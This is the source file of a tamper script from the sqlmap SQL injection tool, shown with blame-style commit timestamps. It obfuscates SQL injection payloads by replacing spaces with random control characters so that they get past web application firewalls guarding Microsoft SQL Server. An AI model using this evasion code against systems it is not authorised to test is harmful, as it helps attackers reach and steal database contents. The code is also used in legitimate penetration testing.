2011-07-11 13:49:58 +04:00
|
|
|
#!/usr/bin/env python
|
|
|
|
|
|
|
|
"""
|
2013-01-18 18:07:51 +04:00
|
|
|
Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/)
|
2011-07-11 13:49:58 +04:00
|
|
|
See the file 'doc/COPYING' for copying permission
|
|
|
|
"""
|
|
|
|
|
|
|
|
import os
|
|
|
|
import random
|
|
|
|
|
|
|
|
from lib.core.common import singleTimeWarnMessage
|
|
|
|
from lib.core.enums import DBMS
|
|
|
|
from lib.core.enums import PRIORITY
|
|
|
|
|
|
|
|
__priority__ = PRIORITY.LOW
|
|
|
|
|
|
|
|
def dependencies():
|
|
|
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL))
|
|
|
|
|
2012-12-03 17:27:01 +04:00
|
|
|
def tamper(payload, **kwargs):
|
2011-07-11 13:49:58 +04:00
|
|
|
"""
|
|
|
|
Replaces space character (' ') with a random blank character from a
|
|
|
|
valid set of alternate characters
|
|
|
|
|
|
|
|
Example:
|
|
|
|
* Input: SELECT id FROM users
|
|
|
|
* Output: SELECT%08id%02FROM%0Fusers
|
|
|
|
|
|
|
|
Requirement:
|
|
|
|
* Microsoft SQL Server
|
|
|
|
|
|
|
|
Tested against:
|
|
|
|
* Microsoft SQL Server 2000
|
|
|
|
* Microsoft SQL Server 2005
|
|
|
|
|
|
|
|
Notes:
|
|
|
|
* Useful to bypass several web application firewalls
|
|
|
|
"""
|
|
|
|
|
|
|
|
# ASCII table:
|
|
|
|
# SOH 01 start of heading
|
|
|
|
# STX 02 start of text
|
|
|
|
# ETX 03 end of text
|
|
|
|
# EOT 04 end of transmission
|
2013-01-04 02:57:07 +04:00
|
|
|
# ENQ 05 enquiry
|
|
|
|
# ACK 06 acknowledge
|
2011-07-11 13:49:58 +04:00
|
|
|
# BEL 07 bell
|
|
|
|
# BS 08 backspace
|
|
|
|
# TAB 09 horizontal tab
|
|
|
|
# LF 0A new line
|
2013-01-04 02:57:07 +04:00
|
|
|
# VT 0B vertical TAB
|
|
|
|
# FF 0C new page
|
|
|
|
# CR 0D carriage return
|
|
|
|
# SO 0E shift out
|
2011-07-11 13:49:58 +04:00
|
|
|
# SI 0F shift in
|
2012-07-24 03:21:32 +04:00
|
|
|
blanks = ('%01', '%02', '%03', '%04', '%05', '%06', '%07', '%08', '%09', '%0B', '%0C', '%0D', '%0E', '%0F', '%0A')
|
2011-07-11 13:49:58 +04:00
|
|
|
retVal = payload
|
|
|
|
|
|
|
|
if payload:
|
|
|
|
retVal = ""
|
|
|
|
quote, doublequote, firstspace, end = False, False, False, False
|
|
|
|
|
|
|
|
for i in xrange(len(payload)):
|
|
|
|
if not firstspace:
|
|
|
|
if payload[i].isspace():
|
|
|
|
firstspace = True
|
|
|
|
retVal += random.choice(blanks)
|
|
|
|
continue
|
|
|
|
|
|
|
|
elif payload[i] == '\'':
|
|
|
|
quote = not quote
|
|
|
|
|
|
|
|
elif payload[i] == '"':
|
|
|
|
doublequote = not doublequote
|
|
|
|
|
2013-01-10 16:18:44 +04:00
|
|
|
elif payload[i] == '#' or payload[i:i + 3] == '-- ':
|
2011-07-11 13:49:58 +04:00
|
|
|
end = True
|
|
|
|
|
|
|
|
elif payload[i] == " " and not doublequote and not quote:
|
|
|
|
if end:
|
|
|
|
retVal += random.choice(blanks[:-1])
|
|
|
|
else:
|
|
|
|
retVal += random.choice(blanks)
|
|
|
|
|
2013-01-04 02:57:07 +04:00
|
|
|
continue
|
2012-12-14 15:00:45 +04:00
|
|
|
|
2011-07-11 13:49:58 +04:00
|
|
|
retVal += payload[i]
|
|
|
|
|
2012-10-25 12:10:23 +04:00
|
|
|
return retVal
|